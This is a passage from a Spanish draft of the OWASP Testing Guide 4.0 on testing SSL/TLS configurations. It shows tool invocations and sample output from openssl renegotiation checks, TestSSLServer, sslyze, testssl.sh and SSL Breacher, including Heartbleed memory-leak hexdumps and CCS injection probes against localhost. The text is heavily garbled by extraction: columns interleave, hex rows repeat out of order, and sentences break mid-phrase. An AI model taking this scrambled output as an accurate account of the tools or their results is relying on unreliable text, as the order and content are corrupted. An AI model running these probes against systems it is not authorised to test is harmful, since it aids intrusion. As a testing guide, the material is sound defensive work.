995/tcp open pop3s | ssl-cert: Subject: commonName=*.exapmple.com | Issuer: commonName=*******
ciphers:
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
i:******
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
1 s:******
|
TLS_RSA_WITH_RC4_128_SHA - strong
| |
compressors: NULL
i:****** 2 s:****** i:******
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 253
Guia de pruebas 4.0 "Borrador"
---
Verify return code: 20 (unable to get local issuer certificate)
Server certificate -----BEGIN CERTIFICATE-----
Ahora el evaluador puede escribir la primera línea de una solicitud HTTP y luego R en una nueva línea.
****** HEAD / HTTP/1.1 -----END CERTIFICATE----R subject=****** issuer=****** El servidor renegocia --RENEGOTIATING No client certificate CA names sent depth=2 C****** --verify error:num=20:unable to get local issuer certificate SSL handshake has read 3558 bytes and written 640 bytes verify return:0 --New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA Y el evaluador puede completar la solicitud, comprobando la respuesta. Server public key is 2048 bit Secure Renegotiation IS NOT supported Compression: NONE
Incluso si HEAD no está permitida, se permite la renegociación iniciada por el cliente. HEAD / HTTP/1.1
Expansion: NONE SSL-Session: Protocol : TLSv1 Cipher
: DES-CBC3-SHA
Session-ID: ****** Session-ID-ctx: Master-Key: ******
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. ) Connection: close Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Content-Length: 1792
Key-Arg : None PSK identity: None
read:errno=0
PSK identity hint: None SRP username: None Start Time: ****** Timeout : 300 (sec)
Ejemplo 5. Prueba de las suites de cifrado soportadas contra ataques BEAST y CRIME mediante TestSSLServer TestSSLServer [32] es un script que permite al evaluador comprobar la suite de cifrado y también los ataques de CRIME y BEAST. BEAST (Browser Exploit
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 254
Guia de pruebas 4.0 "Borrador"
Against SSL/TLS) aprovecha una vulnerabilidad de CBC en TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) explota una vulnerabilidad de la compresión de TLS, que debe deshabilitarse. Lo interesante es que la primera solución para BEAST era el uso de RC4, pero esto ahora no es aconsejable debido a los ataque criptoanalíticos a RC4 [15].
DHE_RSA_WITH_3DES_EDE_CBC_SHA RSA_WITH_AES_128_CBC_SHA DHE_RSA_WITH_AES_128_CBC_SHA RSA_WITH_AES_256_CBC_SHA
Una herramienta en línea para comprobar estos ataques es SSL Labs, pero puede ser utilizada sólo con servidores de internet. También tome en cuenta que los datos que se buscan se almacenarán en el servidor SSL Labs y también resultará alguna conexión de servidor de SSL Labs [21].
DHE_RSA_WITH_AES_256_CBC_SHA RSA_WITH_AES_128_CBC_SHA256 RSA_WITH_AES_256_CBC_SHA256
$ java -jar TestSSLServer.jar www3.example.com 443 RSA_WITH_CAMELLIA_128_CBC_SHA Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2 DHE_RSA_WITH_CAMELLIA_128_CBC_SHA Deflate compression: no DHE_RSA_WITH_AES_128_CBC_SHA256 Supported cipher suites (ORDER IS NOT SIGNIFICANT): DHE_RSA_WITH_AES_256_CBC_SHA256 SSLv3 RSA_WITH_CAMELLIA_256_CBC_SHA RSA_WITH_RC4_128_SHA DHE_RSA_WITH_CAMELLIA_256_CBC_SHA RSA_WITH_3DES_EDE_CBC_SHA TLS_RSA_WITH_SEED_CBC_SHA DHE_RSA_WITH_3DES_EDE_CBC_SHA TLS_DHE_RSA_WITH_SEED_CBC_SHA RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_AES_128_GCM_SHA256 DHE_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_AES_256_GCM_SHA384 RSA_WITH_AES_256_CBC_SHA TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 DHE_RSA_WITH_AES_256_CBC_SHA TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 RSA_WITH_CAMELLIA_128_CBC_SHA ---------------------DHE_RSA_WITH_CAMELLIA_128_CBC_SHA Server certificate(s): RSA_WITH_CAMELLIA_256_CBC_SHA ****** DHE_RSA_WITH_CAMELLIA_256_CBC_SHA ---------------------TLS_RSA_WITH_SEED_CBC_SHA Minimal encryption strength:
strong encryption (96-bit or more)
TLS_DHE_RSA_WITH_SEED_CBC_SHA Achievable encryption strength: strong encryption (96-bit or more) (TLSv1.0: idem) BEAST status: vulnerable (TLSv1.1: idem) CRIME status: protected TLSv1.2 RSA_WITH_RC4_128_SHA Ejemplo 6. Prueba de vulnerabilidades SSL/TLS con sslyze RSA_WITH_3DES_EDE_CBC_SHA
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 255
Guia de pruebas 4.0 "Borrador"
Sslyze [33] es un python script que permite el escaneo masivo y resultados XML. El siguiente es un ejemplo de un escaneo normal. Es una de las herramientas más completas y versátiles para SSL/TLS testing
Client-initiated Renegotiations: Secure Renegotiation:
Rejected Supported
./sslyze.py --regular example.com:443 * Certificate : REGISTERING AVAILABLE PLUGINS
Validation w/ Mozilla’s CA Store: Certificate is NOT Trusted: unable to get local issuer certificate
----------------------------Hostname Validation: SHA1 Fingerprint:
MISMATCH ******
PluginHSTS PluginSessionRenegotiation Common Name:
www.example.com
PluginCertInfo Issuer:
******
PluginSessionResumption Serial Number:
****
PluginOpenSSLCipherSuites Not Before:
Sep 26 00:00:00 2010 GMT
PluginCompression Not After:
Signature Algorithm:
Sep 26 23:59:59 2020 GMT
sha1WithRSAEncryption
CHECKING HOST(S) AVAILABILITY Key Size:
1024 bit
----------------------------X509v3 Subject Alternative Name: ‘DNS’: [‘www.example.com’]} example.com:443
{‘othername’: [‘<unsupported>’],
=> 127.0.0.1:443 * OCSP Stapling : Server did not send back an OCSP response.
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443 ---------------------------------------------------
* Session Resumption : With Session IDs: attempts).
Supported (5 successful, 0 failed, 0 errors, 5 total
With TLS Session Tickets: Supported * Compression : Compression Support:
Disabled * SSLV2 Cipher Suites :
* Session Renegotiation :
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 256
Guia de pruebas 4.0 "Borrador"
Rejected Cipher Suite(s): Hidden Undefined - An unexpected error happened: Preferred Cipher Suite: None
ECDH-RSA-AES256-SHA
socket.timeout - timed out
ECDH-ECDSA-AES256-SHA
socket.timeout - timed out
Accepted Cipher Suite(s): None * TLSV1_2 Cipher Suites : Undefined - An unexpected error happened: None Rejected Cipher Suite(s): Hidden * SSLV3 Cipher Suites : Preferred Cipher Suite: None Rejected Cipher Suite(s): Hidden Accepted Cipher Suite(s): None Preferred Cipher Suite: RC4-SHA
128 bits
HTTP 200 OK
Undefined - An unexpected error happened: ECDH-RSA-AES256-GCM-SHA384
Accepted Cipher Suite(s):
ECDH-ECDSA-AES256-GCM-SHA384
CAMELLIA256-SHA RC4-SHA
256 bits 128 bits
CAMELLIA128-SHA
socket.timeout - timed out
HTTP 200 OK
HTTP 200 OK
128 bits
socket.timeout - timed out
* TLSV1 Cipher Suites :
HTTP 200 OK Rejected Cipher Suite(s): Hidden
Undefined - An unexpected error happened: None Preferred Cipher Suite: * TLSV1_1 Cipher Suites :
Rejected Cipher Suite(s): Hidden
RC4-SHA
Timeout on HTTP GET
Accepted Cipher Suite(s): CAMELLIA256-SHA
Preferred Cipher Suite: None
128 bits
RC4-SHA CAMELLIA128-SHA
256 bits 128 bits
HTTP 200 OK
HTTP 200 OK
128 bits
HTTP 200 OK
Accepted Cipher Suite(s): None
Documento Pre-release cortesÃa de Fernando Vela para drangonjar.org 257
Guia de pruebas 4.0 "Borrador"
Undefined - An unexpected error happened: ADH-CAMELLIA256-SHA
socket.timeout - timed out Testing now (2014-04-17 15:06) ---> owasp.org:443 <--(“owasp.org” resolves to 2001:4801:7821:77:cd2c:d9de:ff10:170e”)
“192.237.166.62
/
--> Protocolos de prueba SCAN COMPLETED IN 9.68 S -----------------------SSLv2
NOT offered (ok)
SSLv3
offered
TLSv1
offered (ok)
Ejemplo 7. Prueba SSL/TLS con testssl.sh Testssl.sh [38] es un shell script de Linux que proporciona un resultado claro para facilitar la toma de decisiones. No solo puede revisar servidores web, pero también servicios en otros puertos, soporta STARTTLS, SNI, SPDY y realiza algunas revisiones en los encabezados HTTP también.
TLSv1.1 offered (ok)
Es una herramienta muy fácil de usar. A continuación verá algunos ejemplos de resultados (sin colores):
SPDY/NPN not offered
TLSv1.2 offered (ok)
user@myhost: % testssl.sh owasp.org --> Probando el listado estandard de cifrado
######################################################## Null Cipher
NOT offered (ok)
testssl.sh v2.0rc3 (https://testssl.sh) Anonymous NULL Cipher NOT offered (ok) ($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $) Anonymous DH Cipher
Este programa es software libre. Redistribución + modificación bajo el GPLv2 está permitido. USO SIN NINGUNA GARANTIA. USELO BAJO SU PROPIO RIESGO!
40 Bit encryption
NOT offered (ok)
56 Bit encryption
NOT offered (ok)
Export Cipher (general) NOT offered (ok) Low (<=64 Bit)
Note que solo puede revisar el servidor comparandolo con lo que está disponible (codificadores/protocolos) localmente en su maquina
NOT offered (ok)
DES Cipher
NOT offered (ok) NOT offered (ok)
Triple DES Cipher
offered
######################################################## Medium grade encryption offered
Usando “OpenSSL 1.0.2-beta1 24 Feb 2014” en
High grade encryption
offered (ok)
“myhost:/<mypath>/bin/openssl64” --> Probando el servidor por defecto (Server Hello)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 258
Guia de pruebas 4.0 "Borrador"
Negotiated protocol Negotiated cipher
TLSv1.2
--> Testing (Perfect) Forward Secrecy (P)FS)
AES128-GCM-SHA256 no PFS available
Server key size
2048 bit
TLS server extensions: heartbeat
server name, renegotiation info, session ticket,
Done now (2014-04-17 15:07) ---> owasp.org:443 <---
Session Tickets RFC 5077 300 seconds user@myhost: %
--> Probando vulnerabilidades específicas
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) Renegotiation (CVE 2009-3555)
NOT vulnerable (ok)
CRIME, TLS (CVE-2012-4929)
NOT vulnerable (ok) Lo interesante , si un evaluador mira las fuentes, es aprender cómo se analizan las características; véase el ejemplo 4. Lo mejor es el protocolo entero de conexión con heartbleed en /bin/bash con /dev/tcp sockets puro -- sin piggyback perl/python/you name it.
--> Revisando el cifrado RC4
El RC4 parece generalmente disponible. Ahora pruebe cifrados específicos...
Hexcode Cipher Name
STARTTLS será probado mediante testssl.sh -t smtp.gmail.com:587 smtp, cada cifrado con testssl -e <target>, cada cifrado por protocolo con testssl -E <target>. Solo para mostrar que cifradores locales están instalados para openssl, vea testssl -V. Para una revisión detallada, es mejor tirar los binarios OpenSSL entregados en la ruta o el de testssl.sh.
Además, proporciona un prototipo (vía "testssl.sh -V") del mapeo de nombres de suites de cifrado RFC a OpenSSL. El evaluador necesita el archivo mapping-rfc.txt en el mismo directorio.
KeyExch. Encryption Bits
--------------------------------------------------------------------
Ejemplo 8. Pruebe el SSL/TLS con SSL Breacher
[0x05]
Esta herramienta [99] es una combinación de varias herramientas con algunas comprobaciones adicionales para complementar y hacer a las pruebas más completas SSL. Soporta los siguientes controles:
RC4-SHA
RSA
RC4
128
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a • HeartBleed --> Probando respuestas de encabezados HTTP
• ChangeCipherSpec Injection • BREACH
HSTS Server
no Apache
• BEAST • Forward Secrecy support • RC4 support
Application (None)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 259
Guia de pruebas 4.0 "Borrador"
• CRIME & TIME (si se detecta CRIME, también se reporta TIME)
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)
• Lucky13
Expiration Date: Sat Nov 09 07:48:47 SGT 2019
• HSTS: Revise la implementación de encabezados HSTS
Signature Hash Algorithm: SHA1withRSA
• HSTS: Duración razonable de MAX-AGE
Public key: Sun RSA public key, 1024 bits
• HSTS: Revise el soporte de SubDomains
modulus: 135632964843555009910164098161004086259135236815846778903941582882 908611097021488277565732851712895057227849656364886898196239901879 569635659861770850920241178222686670162318147175328086853962427921 575656093414000691131757099663322369656756090030190369923050306668 778534926124693591013220754558036175189121517
• Certificados expirados • Longitud de claves públicas insuficientes • Host-name no existente • Algoritmos de hashing débiles e inseguros (MD2, MD4, MD5)
public exponent: 65537
• Soporte SSLv2
Signed for: CN=localhost
• Revisión de cifradores débiles
Signed by: CN=localhost
• Prefijos Null en el certificado
Total certificate chain: 1
• HTTPS Stripping • Surf Jacking
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)
• Elementos y contenidos no SSL incrustados en paginas SSL • Cache-Control
=====================================
pentester@r00ting: % breacher.sh https://localhost/login.php Certificate Validation: =============================== Host Info: ============== Host : localhost
[!] Signed using Insufficient public key length 1024 bits (Refer to http://www.keylength.com/ for details) [!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.
Port : 443 Path : /login.php =====================================
Loading module: Hut3 Cardiac Arrest ...
Certificate Info: Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ... ==================
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 260
Guia de pruebas 4.0 "Borrador"
[-] Connecting to 127.0.0.1:443 using SSLv3
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
[-] Sending ClientHello
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
[-] ServerHello received
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
[-] Sending Heartbeat
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
[-] Displaying response (lines consisting entirely of null bytes are removed): [-] Closing connection
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|..... [-] Connecting to 127.0.0.1:443 using TLSv1.0 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........ [-] Sending ClientHello 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y.......... [-] ServerHello received 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”. [-] Sending Heartbeat 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*. 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
[-] Displaying response (lines consisting entirely of null bytes are removed):
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B. 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.”.#.$.%.&.’.
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.”.#.$.%.&.’.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 261
Guia de pruebas 4.0 "Borrador"
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.”.#.$.%.&.’.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
[-] Closing connection
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o. 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
[-] Connecting to 127.0.0.1:443 using TLSv1.1
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
[-] Sending ClientHello
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
[-] ServerHello received
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
[-] Sending Heartbeat
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
[-] Displaying response (lines consisting entirely of null bytes are removed): [-] Closing connection
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|..... [-] Connecting to 127.0.0.1:443 using TLSv1.2 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........ [-] Sending ClientHello 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y.......... [-] ServerHello received 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”. [-] Sending Heartbeat 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*. 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 262
Guia de pruebas 4.0 "Borrador"
[-] Displaying response (lines consisting entirely of null bytes are removed): [-] Closing connection 0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|..... 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
[!] Vulnerable to http://heartbleed.com/
Heartbleed
bug
(CVE-2014-0160)
mentioned
in
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y.......... [!] Vulnerability Status: VULNERABLE 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”. 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*. 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2. ===================================== 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:. 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B. Loading module: CCS Injection script by TripWire VERT ... 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c. 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k. 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.”.#.$.%.&.’. 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
[!] The target may allow early CCS on TLSv1.2
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
[!] The target may allow early CCS on TLSv1.1
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.
[!] The target may allow early CCS on TLSv1
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
[!] The target may allow early CCS on SSLv3
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O. 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W. 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.
[-] This is an experimental detection script and does not definitively determine vulnerable server status.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g. 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o. 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection vulnerability (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
[!] Vulnerability Status: Possible
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4. 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2............... 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
=====================================
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 263
Guia de pruebas 4.0 "Borrador"
Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...
===================================== [*] HTTP Compression: DISABLED [*] Immune from BREACH attack mentioned in https://media.blackhat.com/us13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...
[*] Vulnerability Status: No
[!] STS response header: NOT PRESENT
--------------- RAW HTTP RESPONSE ---------------
[!] Vulnerable to MITM threats mentioned https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats
in
[!] Vulnerability Status: VULNERABLE HTTP/1.1 200 OK Date: Wed, 23 Jul 2014 13:48:07 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
--------------- RAW HTTP RESPONSE ---------------
X-Powered-By: PHP/5.4.7 Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure
HTTP/1.1 200 OK Date: Wed, 23 Jul 2014 13:48:07 GMT
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
Content-Length: 193
X-Powered-By: PHP/5.4.7
Connection: close
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure
Content-Type: text/html Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/ <html>
Content-Length: 193
<head>
Connection: close
<title>Login page </title>
Content-Type: text/html
</head> <body>
<html>
<script src=”http://othersite/test.js”></script>
<head> <title>Login page </title>
<link rel=”stylesheet” type=”text/css” href=”http://somesite/test.css”>
</head>
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 264
Guia de pruebas 4.0 "Borrador"
<body>
=====================================
<script src=”http://othersite/test.js”></script> Checking localhost:443 for ROBUST use of anti-caching mechanism ... <link rel=”stylesheet” type=”text/css” href=”http://somesite/test.css”> [!] Cache Control Directives: NOT PRESENT [!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked. ===================================== [!] Vulnerability Status: VULNERABLE
Checking localhost for HTTP support against HTTPS Stripping attack ...
------------------------------------------------[!] HTTP Support on port [80] : SUPPORTED [!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09Marlinspike-Defeating-SSL.pdf
Robust Solution:
